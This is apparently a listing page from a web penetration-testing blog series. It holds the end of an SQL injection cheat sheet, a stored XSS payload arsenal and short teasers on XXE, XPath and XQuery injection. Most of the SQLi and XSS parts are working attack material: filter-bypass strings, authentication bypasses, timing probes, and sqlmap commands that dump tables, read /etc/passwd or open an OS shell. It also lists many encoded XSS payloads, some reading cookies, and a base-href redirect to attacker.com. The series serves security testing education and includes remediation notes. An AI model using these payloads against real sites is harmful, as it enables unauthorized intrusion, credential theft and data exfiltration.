/*!UNION*/ -- "SELECT" blocked: SELect, sElEcT, SEL/**/ECT, /*!SELECT*/ -- "WHERE" blocked: WHere, wHeRe, /*!WHERE*/ -- "AND/OR" blocked: &&, ||, %26%26, %7c%7c -- "=" blocked: LIKE, REGEXP, BETWEEN 'a' AND 'b', IN('admin') WHERE username BETWEEN 'admin' AND 'admin' -- Comparison operators: > (greater than) < (less than) != (not equal) <> (not equal) Second-Order Injection -- Step 1: Register with payload as username: Username: admin'-- -- Step 2: Application stores raw input in DB -- Step 3: Password change query uses stored username: UPDATE users SET password='newpass' WHERE username='admin'--' -- Effect: password of 'admin' changed, not the attacker's account -- Common second-order sinks: -- Profile update -- Password reset -- Email preferences -- Log viewers (stored β†’ viewed by admin β†’ executed) Section 10 β€” Database Fingerprinting -- MySQL: SELECT @@version -- 8.0.x SELECT version() SELECT @@datadir SELECT @@basedir ' β†’ error mentions "MySQL" or "MariaDB" -- PostgreSQL: SELECT version() -- PostgreSQL 14.x SELECT current_setting('server_version') SELECT pg_sleep(0) -- function exists -- MSSQL: SELECT @@version -- Microsoft SQL Server 2019 SELECT @@servername SELECT getdate() WAITFOR DELAY '0:0:0' -- Oracle: SELECT banner FROM v$version SELECT * FROM v$instance SELECT user FROM dual dual table exists -- SQLite: SELECT sqlite_version() SELECT typeof(1) -- Differentiate MySQL vs MSSQL: -- MySQL: SELECT 1+1 β†’ 2 -- MSSQL: SELECT 1+1 β†’ 2 (same, use other methods) -- MySQL: # comment works -- MSSQL: # does NOT work, use -- -- Universal detection order: ' β†’ if error: note DB type from error message ' AND SLEEP(5)-- β†’ MySQL ' AND pg_sleep(5)-- β†’ PostgreSQL ' WAITFOR DELAY '0:0:5'-- β†’ MSSQL ' AND 1=dbms_pipe.receive_message('a',5)-- β†’ Oracle Section 11 β€” Authentication Bypass -- Classic: admin'-- admin' # ' OR 1=1-- ' OR '1'='1 ' OR 1=1# ' OR 1=1/* -- Username field: admin'/* ') OR ('1'='1 ') OR ('1'='1'-- -- With password field both: Username: admin'-- Password: anything -- Bypass with AND/OR logic: ' OR 1=1 LIMIT 1-- ' OR 1=1 ORDER BY 1-- ') OR (1=1)-- 1' OR '1'='1 -- Time-based auth bypass (extract admin hash): ' AND IF(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)-- Tools # SQLMap β€” automated detection and exploitation: sqlmap -u "https://target.com/items?id=1" --dbs sqlmap -u "https://target.com/items?id=1" -D dbname --tables sqlmap -u "https://target.com/items?id=1" -D dbname -T users --dump sqlmap -u "https://target.com/items?id=1" --os-shell sqlmap -u "https://target.com/items?id=1" --file-read=/etc/passwd sqlmap -u "https://target.com/items?id=1" --level=5 --risk=3 sqlmap -u "https://target.com/items?id=1" --technique=BEU --dbms=mysql sqlmap -u "https://target.com/items?id=1" --tamper=space2comment,randomcase # SQLMap with POST: sqlmap -u "https://target.com/login" --data="username=admin&password=pass" -p username # SQLMap from Burp request file: sqlmap -r request.txt --level=5 --risk=3 # SQLMap cookies: sqlmap -u "https://target.com/" --cookie="session=abc; id=1" -p id # SQLMap headers: sqlmap -u "https://target.com/" --headers="User-Agent: *" --level=3 # Tamper scripts (WAF bypass): --tamper=apostrophemask # ' β†’ %EF%BC%87 --tamper=base64encode # encodes payload --tamper=between # > β†’ BETWEEN --tamper=bluecoat # space β†’ %09 --tamper=charencode # URL encodes each char --tamper=charunicodeencode # Unicode encodes --tamper=equaltolike # = β†’ LIKE --tamper=greatest # > β†’ GREATEST --tamper=halfversionedmorekeywords # MySQL < 5.1 bypass --tamper=htmlencode # HTML entities --tamper=ifnull2ifisnull # IFNULL β†’ IF(ISNULL) --tamper=modsecurityversioned # versioned comments --tamper=multiplespaces # multiple spaces --tamper=nonrecursivereplacement # double keywords --tamper=percentage # %S%E%L%E%C%T --tamper=randomcase # random case --tamper=space2comment # space β†’ /**/ --tamper=space2dash # space β†’ --\n --tamper=space2hash # space β†’ #\n (MySQL) --tamper=space2morehash # space β†’ #hash\n --tamper=space2mssqlblank # space β†’ MS-specific blank --tamper=space2mysqlblank # space β†’ MySQL blank --tamper=space2plus # space β†’ + --tamper=sp_password # appends sp_password (log hiding MSSQL) --tamper=unmagicquotes # \' β†’ %bf%27 --tamper=versionedkeywords # keywords β†’ /*!keyword*/ --tamper=versionedmorekeywords # more keywords versioned Remediation Reference Parameterized queries / Prepared statements: the only reliable fix β€” never concatenate user input into SQL ORM with safe query builders: use the ORM’s parameterization, never raw string interpolation Input validation: whitelist permitted characters (digits only for IDs); this is a secondary defense Least privilege: database account should have only the permissions required β€” no FILE, no xp_cmdshell WAF: useful as defense-in-depth but not a substitute for parameterized queries Error handling: never expose raw SQL errors to users β€” log internally, return generic message Part of the Web Application Penetration Testing Methodology series. Previous: Index | Next: Chapter 02 β€” NoSQL Injection

February 24, 2026 Β· 12 min Β· MrAzoth

Stored XSS: Sanitization Bypass & Encoding Arsenal

Stored XSS: Sanitization Bypass & Encoding Arsenal Severity: Critical | CWE: CWE-79 | OWASP: A03:2021 Reference: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet Sanitization Stack β€” Read Before Testing Stored XSS payloads must survive two passes: sanitization at write time AND output encoding (or lack thereof) at render time. They also traverse the full stack: [WRITE PATH] Browser form β†’ client-side JS validation β†’ server input filter β†’ DB storage [READ PATH] DB β†’ template engine β†’ browser HTML parser β†’ DOM Bypass strategy per layer: Client JS β†’ intercept in Burp, submit raw Input filter β†’ encoded payload that decodes to XSS after storage DB charset β†’ some DBs strip/alter bytes (test: store emoji, check encoding) Template β†’ look for | safe, | raw, {{{var}}}, dangerouslySetInnerHTML Browser β†’ mXSS: sanitized string re-parsed differently Identify Output Context Before Picking Payload # Submit unique string β†’ visit all pages where it appears β†’ view source # Find exact rendering: <div class="comment">YOUR_INPUT</div> β†’ Context A: HTML body <input value="YOUR_INPUT"> β†’ Context B: double-quoted attr <a href="YOUR_INPUT"> β†’ Context C: href <script>var msg = "YOUR_INPUT";</script> β†’ Context D: JS string <!-- YOUR_INPUT --> β†’ Context E: HTML comment <script>var cfg = {user: YOUR_INPUT};</script>β†’ Context F: JS unquoted Payload Table β€” All Encoding Variants <script> in HTML Body Context [RAW] <script>alert(1)</script> <script>alert(document.domain)</script> <script>alert(document.cookie)</script> [HTML ENTITY β€” decimal] &#60;script&#62;alert(1)&#60;/script&#62; &#60;script&#62;alert(document.domain)&#60;/script&#62; [HTML ENTITY β€” hex] &#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e; &#x3c;script&#x3e;alert(document.domain)&#x3c;/script&#x3e; [HTML ENTITY β€” hex zero-padded (common WAF bypass)] &#x003c;script&#x003e;alert(1)&#x003c;/script&#x003e; &#x003c;script&#x003e;alert(document.domain)&#x003c;/script&#x003e; [HTML ENTITY β€” no semicolons] &#60script&#62alert(1)&#60/script&#62 &#x3cscript&#x3ealert(document.domain)&#x3c/script&#x3e [URL ENCODED] %3Cscript%3Ealert(1)%3C%2Fscript%3E %3cscript%3ealert(document.domain)%3c%2fscript%3e [DOUBLE URL ENCODED] %253Cscript%253Ealert(1)%253C%252Fscript%253E [UNICODE β€” for JS context or template injection] \u003cscript\u003ealert(1)\u003c/script\u003e [HTML COMMENT KEYWORD BREAK β€” fools regex filters] <scr<!---->ipt>alert(1)</scr<!---->ipt> <scr<!--esi-->ipt>alert(1)</script> <scr/**/ipt>alert(1)</script> <SCRIPT>alert(1)</SCRIPT> <ScRiPt>alert(document.domain)</ScRiPt> <img> onerror β€” Core Stored XSS Payload [RAW] <img src=x onerror=alert(1)> <img src=1 onerror=confirm(1)> <img src=x onerror=alert(document.domain)> <img src=x onerror=alert(document.cookie)> [HTML ENTITY β€” brackets only] &#x3c;img src=x onerror=alert(1)&#x3e; &#x003c;img src=1 onerror=confirm(1)&#x003e; [HTML ENTITY β€” event value also encoded (survives htmlspecialchars)] <img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;> <img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;> <img src=x onerror=&#x61;l&#x65;rt&#x28;1&#x29;> <img src=x onerror=al&#101;rt(1)> <img src=x onerror=&#97&#108&#101&#114&#116&#40&#49&#41> [HTML ENTITY β€” full attribute in quotes] <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"> [URL ENCODED] %3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E %3Cimg%20src%3D1%20onerror%3Dconfirm(1)%3E %3cimg+src%3dx+onerror%3dalert(document.domain)%3e [DOUBLE URL ENCODED] %253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E %253cimg%2520src%253d1%2520onerror%253dconfirm%25281%2529%253e [URL + HTML ENTITY COMBINED] %26%23x003c%3Bimg%20src%3D1%20onerror%3Dalert(1)%26%23x003e%3B %26%23x003c%3Bimg%20src%3D1%20onerror%3Dconfirm(1)%26%23x003e%3B%0A [CASE VARIATION + DOUBLE ENCODE β€” WAF bypass] %253CSvg%2520O%256ELoad%253Dconfirm%2528/xss/%2529%253E x%22%3E%3Cimg%20src=%22x%22%3E%3C!--%2522%2527--%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/xss/%2529%253E [HEX ESCAPE in event] <img src=x onerror="\x61\x6c\x65\x72\x74(1)"> [UNICODE ESCAPE in event] <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)"> <img src=x onerror="\u{61}lert(1)"> [BASE64 eval β€” survives many keyword filters] <img src=x onerror="eval(atob('YWxlcnQoMSk='))"> <img src=x onerror="eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))"> <img src=x onerror="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))"> [FROMCHARCODE β€” no string literals needed] <img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"> <svg> Based [RAW] <svg onload=alert(1)> <svg/onload=confirm(1)> <svg onload=alert(document.domain)> [HTML ENTITY] &#x3c;svg onload=alert(1)&#x3e; &#x003c;svg onload=alert(document.domain)&#x003e; &#60;svg onload=alert(1)&#62; [URL ENCODED] %3Csvg%20onload%3Dalert(1)%3E %3csvg%2fonload%3dconfirm(1)%3e [DOUBLE URL ENCODED] %253Csvg%2520onload%253Dalert(1)%253E %253CSvg%2520OnLoAd%253Dconfirm(1)%253E [SVG ANIMATE β€” alternative to onload] <svg><animate onbegin=alert(1) attributeName=x dur=1s> <svg><set onbegin=alert(1) attributeName=x to=1> <svg><discard onbegin=alert(1)> [SVG SCRIPT element] <svg><script>alert(1)</script></svg> <svg><script>alert&#40;1&#41;</script></svg> <svg><script>alert&lpar;1&rpar;</script></svg> <embed>, <object>, <base> β€” Often Missed by Filters [EMBED] <embed src=javascript:alert(1)> <embed src="javascript:alert(document.domain)"> <embed src=/x//alert(1)> [OBJECT] <object data=javascript:alert(1)> <object data="javascript:alert(document.cookie)"> &#x3c;object data=javascript:alert(1)&#x3e; [BASE HREF POISONING β€” redirects all relative script loads] <base href="javascript:\ <base href="javascript:alert(1)//"> <base href="//attacker.com/"> [EMBED + BASE COMBINED] <embed src=/x//alert(1)><base href="javascript:\ Bypassing Specific Sanitizers Bypassing strip_tags() β€” PHP strip_tags() removes tags but leaves content. Critical: it does NOT protect attribute context. ...

February 24, 2026 Β· 7 min Β· MrAzoth

XML External Entity Injection (XXE)

XML External Entity Injection (XXE) Severity: Critical CWE: CWE-611 OWASP: A05:2021 – Security Misconfiguration What Is XXE? XML External Entity Injection occurs when an XML parser processes external entity declarations defined by the attacker within the XML input. If the parser is configured to resolve external entities (often the default in older or misconfigured libraries), an attacker can: Read arbitrary files from the server filesystem Trigger SSRF to internal services and cloud metadata Perform blind data exfiltration via DNS/HTTP In some configurations, achieve Remote Code Execution XXE affects anything that parses XML: REST APIs accepting Content-Type: application/xml, SOAP services, file upload endpoints processing DOCX/XLSX/SVG/PDF/ODT, and any XML-based data exchange format. ...

February 24, 2026 Β· 9 min Β· MrAzoth

XPath Injection

XPath Injection Severity: High | CWE: CWE-91 OWASP: A03:2021 – Injection What Is XPath Injection? XPath is a query language for navigating XML documents. Applications that use XPath to query XML-backed datastores (config files, LDAP over XML, XML databases, SAML assertions) are vulnerable when user input is concatenated directly into XPath expressions. Unlike SQL, XPath has no native parameterization in most implementations β€” making injection structurally similar to classic SQLi but with XPath operators and axes. ...

February 24, 2026 Β· 7 min Β· MrAzoth

XQuery Injection

XQuery Injection Severity: High | CWE: CWE-652 OWASP: A03:2021 – Injection What Is XQuery Injection? XQuery is a functional query language for XML databases (BaseX, eXist-db, MarkLogic, Saxon). Like SQL injection against relational databases, XQuery injection occurs when user input is concatenated directly into an XQuery expression. The impact ranges from data extraction (full XML database dump) to RCE in some implementations that expose XQuery functions like file:write(), proc:system(), or Java class invocation. ...

February 24, 2026 Β· 8 min Β· MrAzoth